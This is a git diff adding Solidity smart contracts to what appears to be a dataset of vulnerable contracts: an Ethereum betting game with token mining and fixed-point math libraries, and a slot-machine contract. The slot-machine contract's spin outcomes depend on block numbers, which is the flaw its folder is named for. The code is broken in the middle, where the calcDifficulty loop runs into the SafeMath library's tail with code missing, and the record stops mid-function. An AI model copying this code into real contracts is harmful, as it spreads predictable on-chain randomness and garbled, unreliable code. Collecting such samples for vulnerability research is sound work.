playerCollection[msg.sender]; + return computeAmountToMineForBettingRecord(currentPlayer.getBettingRecordAtIndex(recordIndex), onlyCurrentGame).mul(kTotalPercent - kDeveloperMiningPower).div(kTotalPercent); + } + + function getBetRecord(uint256 recordIndex) public view returns(uint256, uint256, uint256) { + Player.Data storage currentPlayer = playerCollection[msg.sender]; + Player.BettingRecord memory bettingRecord = currentPlayer.getBettingRecordAtIndex(recordIndex); + return (bettingRecord.gamePotBeforeBet, bettingRecord.wagerAmount, bettingRecord.gameId); + } + + function withdraw (uint256 withdrawCount) public returns(bool res) { + Player.Data storage currentPlayer = playerCollection[msg.sender]; + + uint256 playerBettingRecordCount = currentPlayer.unprocessedBettingRecordCount(); + uint256 numberOfIterations = withdrawCount < playerBettingRecordCount ? withdrawCount : playerBettingRecordCount; + if(numberOfIterations == 0) {return;} + + numberOfIterations = numberOfIterations.add(1); + + for (uint256 i = 0 ; i < numberOfIterations; i = i.add(1)) { + Player.BettingRecord memory unprocessedRecord = currentPlayer.getNextRecord(); + processBettingRecord(unprocessedRecord); + } + + uint256 playerBalance = playerInternalWallet[msg.sender]; + + + playerInternalWallet[msg.sender] = 0; + + if(playerBalance == 0) { + return true; + } + + emit Withdraw(msg.sender, playerBalance, numberOfIterations); + + if(!msg.sender.send(playerBalance)) { + + playerInternalWallet[msg.sender] = playerBalance; + return false; + } + return true; + } + + + function getCurrentMiningDifficulty() public view returns(uint256){ + return UInt256(currentMiningDifficulty.toInt256()); + } + + function getPlayerInternalWallet() public view returns(uint256) { + return playerInternalWallet[msg.sender]; + } + + function getWinningsForRecordId(uint256 recordIndex, bool onlyWithdrawable, bool onlyCurrentGame) public view returns(uint256) { + Player.Data storage currentPlayer = playerCollection[msg.sender]; + Player.BettingRecord memory record = currentPlayer.getBettingRecordAtIndex(recordIndex); + if(onlyCurrentGame && record.gameId != currentGameNumber) { + return 0; + } + return getWinningsForRecord(record, onlyWithdrawable); + } + + function getWinningsForRecord(Player.BettingRecord record, bool onlyWithdrawable) private view returns(uint256) { + + if(onlyWithdrawable && recordIsTooNewToProcess(record)) { + return 0; + } + + uint256 payout = getPayoutForPlayer(record).toUInt256Raw(); + payout = payout.sub(amountToSeedNextRound(payout)); + return payout.sub(record.withdrawnAmount); + + } + + function totalAmountRaked () public constant returns(uint256 res) { + return playerInternalWallet[this]; + } + + function betAmountAfterRakeHasBeenWithdrawnAndProcessed (uint256 betAmount) private returns(uint256 betLessRake){ + uint256 amountToRake = amountToTakeAsRake(betAmount); + playerInternalWallet[this] = playerInternalWallet[this].add(amountToRake); + return betAmount.sub(amountToRake); + } + + function amountToSeedNextRound (uint256 value) private pure returns(uint256 res) { + return value.mul(kPercentToTakeAsSeed).div(kTotalPercent); + } + + function addToBonusSeed () public payable { + require (msg.value > 0); + bonusSeed = bonusSeed.add(msg.value); + } + + + function amountToTakeAsRake (uint256 value) private pure returns(uint256 res) { + return value.mul(kPercentToTakeAsRake).div(kTotalPercent); + } + + function amountOfPopDeveloperShouldMine (uint256 value) private pure returns(uint256 res) { + return value.mul(kDeveloperMiningPower).div(kTotalPercent); + } + + function processEndGame (uint256 lastBetAmount) private { + + + emit EndGame(currentGameNumber); + + gameMetaData.push(WrappedArray.GameMetaDataElement(currentPot, initialSeed, initialBankrollGrowthAmount.toUInt256Raw(), unPromisedSupplyAtStartOfCurrentGame_, currentMiningDifficulty, true)); + + kUpperBoundBlocksTillGameEnd = nextGameMaxBlock; + kLowerBoundBlocksTillGameEnd = nextGameMinBlock; + + unPromisedSupplyAtStartOfCurrentGame_ = unPromisedPop(); + + initialSeed = amountToSeedNextRound(currentPot).add(bonusSeed); + bonusSeed = 0; + currentPot = initialSeed; + currentMiningDifficulty = calcDifficulty(); + + + initialBankrollGrowthAmount = FixedPoint.fromInt256(Int256(lastBetAmount.add(initialSeed))); + + + currentGameBettingRecords.resetIndex(); + + + currentGameNumber = currentGameNumber.add(1); + } + + function processBettingRecord (Player.BettingRecord record) private { + Player.Data storage currentPlayer = playerCollection[record.playerAddress]; + if(currentPlayer.containsBettingRecordFromId(record.bettingRecordId) == false) { + return; + } + + Player.BettingRecord memory bettingRecord = currentPlayer.getBettingRecordForId(record.bettingRecordId); + + currentPlayer.deleteBettingRecordForId(bettingRecord.bettingRecordId); + + + uint256 bettingRecordValue = getWinningsForRecord(bettingRecord, true); + uint256 amountToMineForBettingRecord = computeAmountToMineForBettingRecord(bettingRecord, false); + + + if(bettingRecord.gameId == currentGameNumber) { + bettingRecord.withdrawnAmount = bettingRecord.withdrawnAmount.add(bettingRecordValue); + bettingRecord.withdrawnPopAmount = bettingRecord.withdrawnPopAmount.add(amountToMineForBettingRecord); + currentPlayer.insertBettingRecord(bettingRecord); + } + minePoP(bettingRecord.playerAddress, amountToMineForBettingRecord); + playerInternalWallet[bettingRecord.playerAddress] = playerInternalWallet[bettingRecord.playerAddress].add(bettingRecordValue); + } + + function potAmountForRecord (Player.BettingRecord record) private view returns(uint256 potAmount) { + require(record.gameId <= currentGameNumber); + if(record.gameId < currentGameNumber) { + return gameMetaData.itemAtIndex(record.gameId).totalPotAmount; + } else { + return currentPot; + } + } + + + function recordIsTooNewToProcess (Player.BettingRecord record) private view returns(bool res) { + uint256 potAtBet = record.gamePotBeforeBet.add(record.wagerAmount); + + if(record.gameId == currentGameNumber) { + uint256 halfPot = currentPot.sub(initialSeed).div(2); + if(potAtBet >= halfPot) { + return true; + } + } + return false; + } + + function UInt256 (int256 elem) private pure returns(uint256 res) { + assert(elem >= 0); + return uint256(elem); + } + + function Int256 (uint256 elem) private pure returns(int256 res) { + assert(int256(elem) >= 0); + return int256(elem); + } + + function getBankRollGrowthForGameId (uint256 gameId) private view returns(FixedPoint.Data res) { + if(gameId == currentGameNumber) { + return FixedPoint.fromInt256(Int256(currentPot)).div(initialBankrollGrowthAmount); + } else { + WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId); + return FixedPoint.fromInt256(Int256(elem.totalPotAmount)).div(FixedPoint.fromInt256(Int256(elem.initialBet))); + } + } + + function getSeedAmountForGameId (uint256 gameId) private view returns(FixedPoint.Data res) { + if(gameId == currentGameNumber) { + return FixedPoint.fromInt256(Int256(initialSeed)); + } else { + WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId); + return FixedPoint.fromInt256(Int256(elem.seedAmount)); + } + } + + function getPayoutForPlayer(Player.BettingRecord playerRecord) internal view returns (FixedPoint.Data) { + + FixedPoint.Data memory frontWindowAdjustment = getWindowAdjustmentForGameIdAndRatio(playerRecord.gameId, frontWindowAdjustmentRatio); + FixedPoint.Data memory backWindowAdjustment = getWindowAdjustmentForGameIdAndRatio(playerRecord.gameId, backWindowAdjustmentRatio); + FixedPoint.Data memory backPayoutEndPoint = kBackPayoutEndPointInitial.div(backWindowAdjustment); + FixedPoint.Data memory frontPayoutSizePercent = kFrontPayoutStartPointInitial.div(frontWindowAdjustment); + FixedPoint.Data memory frontPayoutStartPoint = FixedPoint.fromInt256(1).sub(frontPayoutSizePercent); + + FixedPoint.Data memory potAmountData = FixedPoint.fromInt256(Int256(potAmountForRecord(playerRecord))); + + FixedPoint.Data memory frontPercent = FixedPoint.fromInt256(0); + if(playerRecord.gamePotBeforeBet != 0) { + frontPercent = FixedPoint.fromInt256(Int256(playerRecord.gamePotBeforeBet)).div(potAmountData.sub(getSeedAmountForGameId(playerRecord.gameId))); + } + + FixedPoint.Data memory backPercent = FixedPoint.fromInt256(Int256(playerRecord.gamePotBeforeBet)).add(FixedPoint.fromInt256(Int256(playerRecord.wagerAmount))).div(potAmountData.sub(getSeedAmountForGameId(playerRecord.gameId))); + + if(frontPercent.val < backPayoutEndPoint.val) { + if(backPercent.val <= backPayoutEndPoint.val) { + + return calcWinnings(frontPercent, backPercent, backPayoutEndPoint, _pi.div(backWindowAdjustment), backWindowAdjustment, FixedPoint.fromInt256(0), potAmountData); + } else if (backPercent.val <= frontPayoutStartPoint.val) { + + return calcWinnings(frontPercent, backPayoutEndPoint, backPayoutEndPoint, _pi.div(backWindowAdjustment), backWindowAdjustment, FixedPoint.fromInt256(0), potAmountData); + } else { + + return calcWinnings(frontPercent, backPayoutEndPoint, backPayoutEndPoint, _pi.div(backWindowAdjustment), backWindowAdjustment, FixedPoint.fromInt256(0), potAmountData).add(calcWinnings(FixedPoint.fromInt256(0), backPercent.sub(frontPayoutStartPoint), frontPayoutSizePercent, _pi.div(frontWindowAdjustment), frontWindowAdjustment, _pi.div(frontWindowAdjustment), potAmountData)); + } + } else if (frontPercent.val < frontPayoutStartPoint.val) { + if (backPercent.val <= frontPayoutStartPoint.val) { + + return FixedPoint.fromInt256(0); + } else { + + return calcWinnings(FixedPoint.fromInt256(0), backPercent.sub(frontPayoutStartPoint), frontPayoutSizePercent, _pi.div(frontWindowAdjustment), frontWindowAdjustment, _pi.div(frontWindowAdjustment), potAmountData); + } + } else { + + return calcWinnings(frontPercent.sub(frontPayoutStartPoint), backPercent.sub(frontPayoutStartPoint), frontPayoutSizePercent, _pi.div(frontWindowAdjustment), frontWindowAdjustment, _pi.div(frontWindowAdjustment), potAmountData); + } + } + + function getWindowAdjustmentForGameIdAndRatio(uint256 gameId, FixedPoint.Data adjustmentRatio) internal view returns (FixedPoint.Data) { + FixedPoint.Data memory growth = getBankRollGrowthForGameId(gameId); + FixedPoint.Data memory logGrowthRate = growth.ln(); + return growth.div(adjustmentRatio.pow(logGrowthRate)); + } + + function integrate(FixedPoint.Data x, FixedPoint.Data a) internal pure returns (FixedPoint.Data) { + return a.mul(x).sin().div(a).add(x); + } + + function calcWinnings(FixedPoint.Data playerFrontPercent, FixedPoint.Data playerBackPercent, FixedPoint.Data sectionPercentSize, FixedPoint.Data sectionRadiansSize, FixedPoint.Data windowAdjustment, FixedPoint.Data sectionOffset, FixedPoint.Data potSize) internal view returns (FixedPoint.Data) { + FixedPoint.Data memory startIntegrationPoint = sectionOffset.add(playerFrontPercent.div(sectionPercentSize).mul(sectionRadiansSize)); + FixedPoint.Data memory endIntegrationPoint = sectionOffset.add(playerBackPercent.div(sectionPercentSize).mul(sectionRadiansSize)); + return integrate(endIntegrationPoint, windowAdjustment).sub(integrate(startIntegrationPoint, windowAdjustment)).mul(potSize).mul(windowAdjustment).div(_2pi); + } + + function computeAmountToMineForBettingRecord (Player.BettingRecord record, bool onlyCurrentGame) internal view returns(uint256 value) { + if(onlyCurrentGame && record.gameId != currentGameNumber){ + return 0; + } + + uint256 payout = getPopPayoutForRecord(record).toUInt256Raw(); + return payout.sub(record.withdrawnPopAmount); + } + + function getPopPayoutForRecord(Player.BettingRecord record) private view returns(FixedPoint.Data value) { + + if(record.isActive == false) { + return FixedPoint.fromInt256(0); + } + + return totalTokenPayout(getPotAsFixedPointForGameId(record.gameId).sub(getInitialSeedAsFixedPointForGameId(record.gameId)), getDifficultyAsFixedPointForGameId(record.gameId), getPopRemainingAsFixedPointForGameId(record.gameId), record.wagerAmount, record.gamePotBeforeBet); + } + + function unMinedPop () private view returns(uint256 res) { + return totalSupply_.sub(supplyMined_); + } + + function promisedPop () private view returns(uint256) { + FixedPoint.Data memory curPot = getPotAsFixedPointForGameId(currentGameNumber); + FixedPoint.Data memory seed = getInitialSeedAsFixedPointForGameId(currentGameNumber); + FixedPoint.Data memory difficulty = getDifficultyAsFixedPointForGameId(currentGameNumber); + FixedPoint.Data memory unpromised = getPopRemainingAsFixedPointForGameId(currentGameNumber); + + uint256 promisedPopThisGame = totalTokenPayout(curPot.sub(seed), difficulty, unpromised, currentPot.sub(seed.toUInt256Raw()), 0).toUInt256Raw(); + return totalSupply_.sub(unPromisedSupplyAtStartOfCurrentGame_).add(promisedPopThisGame); + } + + function unPromisedPop () private view returns(uint256 res) { + return totalSupply_.sub(promisedPop()); + } + + function potentiallyCirculatingPop () public view returns(uint256 res) { + return promisedPop().sub(supplyBurned_); + } + + function minePoP(address target, uint256 amountToMine) private { + if(supplyMined_ >= totalSupply_) { + return; + } + + uint256 remainingPop = unMinedPop(); + if(amountToMine == 0 || remainingPop == 0) { + return; + } + + if(remainingPop < amountToMine) { + amountToMine = remainingPop; + } + + uint256 developerMined = amountOfPopDeveloperShouldMine(amountToMine); + uint256 playerMined = amountToMine.sub(developerMined); + + supplyMined_ = supplyMined_.add(amountToMine); + + popBalances[target] = popBalances[target].add(playerMined); + popBalances[author] = popBalances[author].add(developerMined); + + emit Mined(target, playerMined); + emit Transfer(0, target, playerMined); + emit Mined(author, developerMined); + emit Transfer(0, author, developerMined); + } + + function redeemPop (uint256 popToRedeem) public returns(bool res) { + require(popBalances[msg.sender] >= popToRedeem); + require(popToRedeem != 0); + + uint256 potentiallyAllocatedPop = potentiallyCirculatingPop(); + require(popToRedeem <= potentiallyAllocatedPop); + + FixedPoint.Data memory redeemRatio = FixedPoint.fromFraction(Int256(popToRedeem), Int256(potentiallyAllocatedPop)); + FixedPoint.Data memory ethPayoutAmount = redeemRatio.mul(FixedPoint.fromInt256(Int256(totalAmountRaked()))); + uint256 payout = ethPayoutAmount.toUInt256Raw(); + require(payout<=totalAmountRaked()); + require(payout <= address(this).balance); + + burn(popToRedeem); + playerInternalWallet[this] = playerInternalWallet[this].sub(payout); + playerInternalWallet[msg.sender] = playerInternalWallet[msg.sender].add(payout); + + return true; + } + + + function totalSupply() public view returns (uint256) { + return promisedPop(); + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return popBalances[_owner]; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= popBalances[msg.sender]); + + + popBalances[msg.sender] = popBalances[msg.sender].sub(_value); + popBalances[_to] = popBalances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= popBalances[_from]); + require(_value <= allowed[_from][msg.sender]); + + popBalances[_from] = popBalances[_from].sub(_value); + popBalances[_to] = popBalances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function burn(uint256 _value) public { + require (popBalances[msg.sender] >= _value); + + address burner = msg.sender; + supplyBurned_ = supplyBurned_.add(_value); + popBalances[burner] = popBalances[burner].sub(_value); + emit Burn(burner, _value); + } + + function getInitialSeedAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) { + if(gameId == currentGameNumber) { + return FixedPoint.fromInt256(Int256(initialSeed)); + } else { + WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId); + return FixedPoint.fromInt256(Int256(elem.seedAmount)); + } + } + + function getPotAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) { + if(gameId == currentGameNumber) { + return FixedPoint.fromInt256(Int256(currentPot)); + } else { + WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId); + return FixedPoint.fromInt256(Int256(elem.totalPotAmount)); + } + } + + function getPopRemainingAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) { + if(gameId == currentGameNumber) { + return FixedPoint.fromInt256(Int256(unPromisedSupplyAtStartOfCurrentGame_)); + } else { + WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId); + return FixedPoint.fromInt256(Int256(elem.coinsRemaining)); + } + } + + function getDifficultyAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) { + if(gameId == currentGameNumber) { + return currentMiningDifficulty; + } else { + WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId); + return elem.miningDifficulty; + } + } + + function calcDifficulty() private view returns (FixedPoint.Data) { + FixedPoint.Data memory total = FixedPoint.fromInt256(0); + FixedPoint.Data memory count = FixedPoint.fromInt256(0); + uint256 j = 0; + for(uint256 i=gameMetaData.length().sub(1) ; i>=0 && j= a); + return c; + } +} + +library SafeInt { + + + function mul(int256 a, int256 b) internal pure returns (int256) { + if (a == 0) { + return 0; + } + int256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(int256 a, int256 b) internal pure returns (int256) { + + int256 c = a / b; + return c; + } + + + function sub(int256 a, int256 b) internal pure returns (int256) { + int256 c = a - b; + if(a>0 && b<0) { + assert (c > a); + } else if(a<0 && b>0) { + assert (c < a); + } + return c; + } + + + function add(int256 a, int256 b) internal pure returns (int256) { + int256 c = a + b; + if(a>0 && b>0) { + assert(c > a); + } else if (a < 0 && b < 0) { + assert(c < a); + } + return c; + } +} + + +library WrappedArray { + using SafeMath for uint256; + using FixedPoint for FixedPoint.Data; + + struct GameMetaDataElement { + uint256 totalPotAmount; + uint256 seedAmount; + uint256 initialBet; + uint256 coinsRemaining; + FixedPoint.Data miningDifficulty; + bool isActive; + } + + struct Data { + GameMetaDataElement[] array; + } + + + function push (Data storage self, GameMetaDataElement element) internal { + self.array.length = self.array.length.add(1); + self.array[self.array.length.sub(1)] = element; + } + + + function itemAtIndex (Data storage self, uint256 index) internal view returns(GameMetaDataElement elem) { + + assert(index < self.array.length); + return self.array[index]; + } + + + function length (Data storage self) internal view returns(uint256 len) { + return self.array.length; + } +} + + +library CompactArray { + using SafeMath for uint256; + + struct Element { + uint256 elem; + } + + struct Data { + Element[] array; + uint256 len; + uint256 popNextIndex; + } + + + function push (Data storage self, Element element) internal returns(uint256 index) { + if(self.array.length == self.len) { + self.array.length = self.array.length.add(1); + } + self.array[self.len] = element; + self.len = self.len.add(1); + return self.len.sub(1); + } + + + function removeItemAtIndex (Data storage self, uint256 index) internal { + + assert(index < self.len); + + + if(index == self.len.sub(1)) { + self.len = self.len.sub(1); + return; + } + + + Element storage temp = self.array[self.len.sub(1)]; + self.array[index] = temp; + self.len = self.len.sub(1); + } + + + function pop (Data storage self) internal returns(Element elem) { + assert(self.len > 0); + + + self.len = self.len.sub(1); + + + return self.array[self.len]; + } + + + function getNext (Data storage self) internal returns(Element elem) { + assert(self.len > 0); + + if(self.popNextIndex >= self.len) { + + self.popNextIndex = self.len.sub(1); + } + Element memory nextElement = itemAtIndex(self, self.popNextIndex); + + if(self.popNextIndex == 0) { + self.popNextIndex = self.len.sub(1); + } else { + self.popNextIndex = self.popNextIndex.sub(1); + } + return nextElement; + } + + + function itemAtIndex (Data storage self, uint256 index) internal view returns(Element elem) { + + assert(index < self.len); + + return self.array[index]; + } + + + function length (Data storage self) internal view returns(uint256 len) { + return self.len; + } + +} + + +library UIntSet { + using CompactArray for CompactArray.Data; + + struct SetEntry { + uint256 index; + bool active; + } + + struct Data { + CompactArray.Data compactArray; + mapping (uint256 => SetEntry) storedValues; + } + + + function contains (Data storage self, uint256 element) internal view returns(bool res) { + return self.storedValues[element].active; + } + + + function insert (Data storage self, uint256 element) internal { + + if(contains(self, element)) { + return; + } + + CompactArray.Element memory newElem = CompactArray.Element(element); + + + uint256 index = self.compactArray.push(newElem); + + + SetEntry memory entry = SetEntry(index, true); + + self.storedValues[element] = entry; + } + + + + function removeElement (Data storage self, uint256 element) internal { + + if(contains(self, element) == false) { + return; + } + + + uint256 index = self.storedValues[element].index; + + + self.compactArray.removeItemAtIndex(index); + + + self.storedValues[element].active = false; + + + if(index < self.compactArray.length()) { + + CompactArray.Element memory swappedElem = self.compactArray.itemAtIndex(index); + + + self.storedValues[swappedElem.elem] = SetEntry(index, true); + + } + } + + + function getNext (Data storage self) internal returns(CompactArray.Element) { + + return self.compactArray.getNext(); + } + + + function size (Data storage self) internal view returns(uint256 res) { + return self.compactArray.length(); + } + + function getItemAtIndex (Data storage self, uint256 index) internal view returns(CompactArray.Element) { + return self.compactArray.itemAtIndex(index); + } + +} + + + +library Player { + using UIntSet for UIntSet.Data; + using CompactArray for CompactArray.Data; + + struct BettingRecord { + address playerAddress; + uint256 gameId; + uint256 wagerAmount; + uint256 bettingRecordId; + uint256 gamePotBeforeBet; + uint256 withdrawnAmount; + uint256 withdrawnPopAmount; + bool isActive; + } + + struct Data { + UIntSet.Data bettingRecordIds; + mapping (uint256 => BettingRecord) bettingRecordMapping; + } + + + function containsBettingRecordFromId (Data storage self, uint256 bettingRecordId) internal view returns(bool containsBettingRecord) { + return self.bettingRecordIds.contains(bettingRecordId); + } + + + + function getBettingRecordForId (Data storage self, uint256 bettingRecordId) internal view returns(BettingRecord record) { + if(containsBettingRecordFromId(self, bettingRecordId) == false) { + return ; + } + return self.bettingRecordMapping[bettingRecordId]; + } + + + + function insertBettingRecord (Data storage self, BettingRecord record) internal { + + self.bettingRecordMapping[record.bettingRecordId] = record; + self.bettingRecordIds.insert(record.bettingRecordId); + } + + + function getNextRecord (Data storage self) internal returns(BettingRecord record) { + if(self.bettingRecordIds.size() == 0) { + return ; + } + CompactArray.Element memory bettingRecordIdEntry = self.bettingRecordIds.getNext(); + return self.bettingRecordMapping[bettingRecordIdEntry.elem]; + } + + function getBettingRecordAtIndex (Data storage self, uint256 index) internal view returns(BettingRecord record) { + return self.bettingRecordMapping[self.bettingRecordIds.getItemAtIndex(index).elem]; + } + + + + function deleteBettingRecordForId (Data storage self, uint256 bettingRecordId) internal { + self.bettingRecordIds.removeElement(bettingRecordId); + } + + + function unprocessedBettingRecordCount (Data storage self) internal view returns(uint256 size) { + return self.bettingRecordIds.size(); + } +} + +library BettingRecordArray { + using Player for Player.Data; + using SafeMath for uint256; + + struct Data { + Player.BettingRecord[] array; + uint256 len; + } + + function resetIndex (Data storage self) internal { + self.len = 0; + } + + function pushRecord (Data storage self, Player.BettingRecord record) internal { + if(self.array.length == self.len) { + self.array.length = self.array.length.add(1); + } + self.array[self.len] = record; + self.len = self.len.add(1); + } + + function getNextRecord (Data storage self) internal view returns(Player.BettingRecord record) { + if(self.array.length == self.len) { + return; + } + return self.array[self.len]; + } +} + +library FixedPoint { + using SafeMath for uint256; + using SafeInt for int256; + + int256 constant fracBits = 32; + int256 constant scale = 1 << 32; + int256 constant halfScale = scale >> 1; + int256 constant precision = 1000000; + int256 constant e = 11674931554; + int256 constant pi = 13493037704; + int256 constant _2pi = 26986075409; + + struct Data { + int256 val; + } + + function fromInt256(int256 n) internal pure returns (Data) { + return Data({val: n.mul(scale)}); + } + + function fromFraction(int256 numerator, int256 denominator) internal pure returns (Data) { + return Data ({ + val: numerator.mul(scale).div(denominator) + }); + } + + function toInt256(Data n) internal pure returns (int256) { + return (n.val * precision) >> fracBits; + } + + function toUInt256Raw(Data a) internal pure returns (uint256) { + return uint256(a.val >> fracBits); + } + + function add(Data a, Data b) internal pure returns (Data) { + return Data({val: a.val.add(b.val)}); + } + + function sub(Data a, Data b) internal pure returns (Data) { + return Data({val: a.val.sub(b.val)}); + } + + function mul(Data a, Data b) internal pure returns (Data) { + int256 result = a.val.mul(b.val).div(scale); + return Data({val: result}); + } + + function div(Data a, Data b) internal pure returns (Data) { + int256 num = a.val.mul(scale); + return Data({val: num.div(b.val)}); + } + + function neg(Data a) internal pure returns (Data) { + return Data({val: -a.val}); + } + + function mod(Data a, Data b) internal pure returns (Data) { + return Data({val: a.val % b.val}); + } + + function expBySquaring(Data x, Data n) internal pure returns (Data) { + if(n.val == 0) { + return Data({val: scale}); + } + Data memory extra = Data({val: scale}); + while(true) { + if(n.val == scale) { + return mul(x, extra); + } else if (n.val % (2*scale) != 0) { + extra = mul(extra, x); + n = sub(n, fromInt256(1)); + } + x = mul(x, x); + n = div(n, fromInt256(2)); + } + } + + function sin(Data x) internal pure returns (Data) { + int256 val = x.val % _2pi; + + if(val < -pi) { + val += _2pi; + } else if (val > pi) { + val -= _2pi; + } + Data memory result; + if(val < 0) { + result = add(mul(Data({val: 5468522184}), Data({val: val})), mul(Data({val: 1740684682}), mul(Data({val: val}), Data({val: val})))); + if(result.val < 0) { + result = add(mul(Data({val: 966367641}), sub(mul(result, neg(result)), result)), result); + } else { + result = add(mul(Data({val: 966367641}), sub(mul(result, result), result)), result); + } + return result; + } else { + result = sub(mul(Data({val: 5468522184}), Data({val: val})), mul(Data({val: 1740684682}), mul(Data({val: val}), Data({val: val})))); + if(result.val < 0) { + result = add(mul(Data({val: 966367641}), sub(mul(result, neg(result)), result)), result); + } else { + result = add(mul(Data({val: 966367641}), sub(mul(result, result), result)), result); + } + return result; + } + } + + function cmp(Data a, Data b) internal pure returns (int256) { + if(a.val > b.val) { + return 1; + } else if(a.val < b.val) { + return -1; + } else { + return 0; + } + } + + function log10(Data a) internal pure returns (Data) { + return div(ln(a), ln(fromInt256(10))); + } + + function ln(Data a) internal pure returns (Data) { + int256 LOG = 0; + int256 prec = 1000000; + int256 x = a.val.mul(prec) >> fracBits; + + while(x >= 1500000) { + LOG = LOG.add(405465); + x = x.mul(2).div(3); + } + x = x.sub(prec); + int256 y = x; + int256 i = 1; + while (i < 10){ + LOG = LOG.add(y.div(i)); + i = i.add(1); + y = x.mul(y).div(prec); + LOG = LOG.sub(y.div(i)); + i = i.add(1); + y = x.mul(y).div(prec); + } + LOG = LOG.mul(scale); + LOG = LOG.div(prec); + return Data({val: LOG}); + } + + function expRaw(Data a) internal pure returns (Data) { + int256 l1 = scale.add(a.val.div(4)); + int256 l2 = scale.add(a.val.div(3).mul(l1).div(scale)); + int256 l3 = scale.add(a.val.div(2).mul(l2).div(scale)); + int256 l4 = scale.add(a.val.mul(l3).div(scale)); + + return Data({val: l4}); + } + + function exp(Data a) internal pure returns (Data) { + int256 pwr = a.val >> fracBits; + int256 frac = a.val.sub(pwr << fracBits); + + return mul(expRaw(Data({val: frac})), expBySquaring(Data({val: e}), fromInt256(pwr))); + } + + function pow(Data base, Data power) internal pure returns (Data) { + int256 intpwr = power.val >> 32; + int256 frac = power.val.sub(intpwr << fracBits); + return mul(expRaw(mul(Data({val:frac}), ln(base))), expBySquaring(base, fromInt256(intpwr))); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2003.sol b/smart_contract_dataset/block number dependency/2003.sol new file mode 100644 index 0000000000000000000000000000000000000000..b2645380014d852fdbedf136b5e36d4ec6ea0f1c --- /dev/null +++ b/smart_contract_dataset/block number dependency/2003.sol @@ -0,0 +1,383 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + +contract ZTHInterface { + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zlots is ZTHReceivingContract { + using SafeMath for uint; + + address private owner; + address private bankroll; + + + uint totalSpins; + uint totalZTHWagered; + + + uint contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + ZTHInterface private ZTHTKN; + + mapping (uint => bool) validTokenBet; + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + bool _win + ); + + event Loss( + address _wagerer + ); + + event Jackpot( + address _wagerer + ); + + event EightXMultiplier( + address _wagerer + ); + + event ReturnBet( + address _wagerer + ); + + event TwoAndAHalfXMultiplier( + address _wagerer + ); + + event OneAndAHalfXMultiplier( + address _wagerer + ); + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + modifier gameIsActive { + require(gameActive == true); + _; + } + + constructor(address ZethrAddress, address BankrollAddress) public { + + + ZTHTKNADDR = ZethrAddress; + ZTHBANKROLL = BankrollAddress; + + + owner = msg.sender; + bankroll = ZTHBANKROLL; + + + ZTHTKN = ZTHInterface(ZTHTKNADDR); + ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); + + + ZTHTKN.approve(owner, 2**256 - 1); + + + validTokenBet[5e18] = true; + validTokenBet[10e18] = true; + validTokenBet[25e18] = true; + validTokenBet[50e18] = true; + + gameActive = true; + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function tokenFallback(address _from, uint _value, bytes ) public returns (bool){ + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn); + return true; + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn) private { + + require(gameActive); + require(_zthToken(msg.sender)); + require(validTokenBet[_tkn.value]); + require(jackpotGuard(_tkn.value)); + + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + contractBalance = contractBalance.add(_wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + 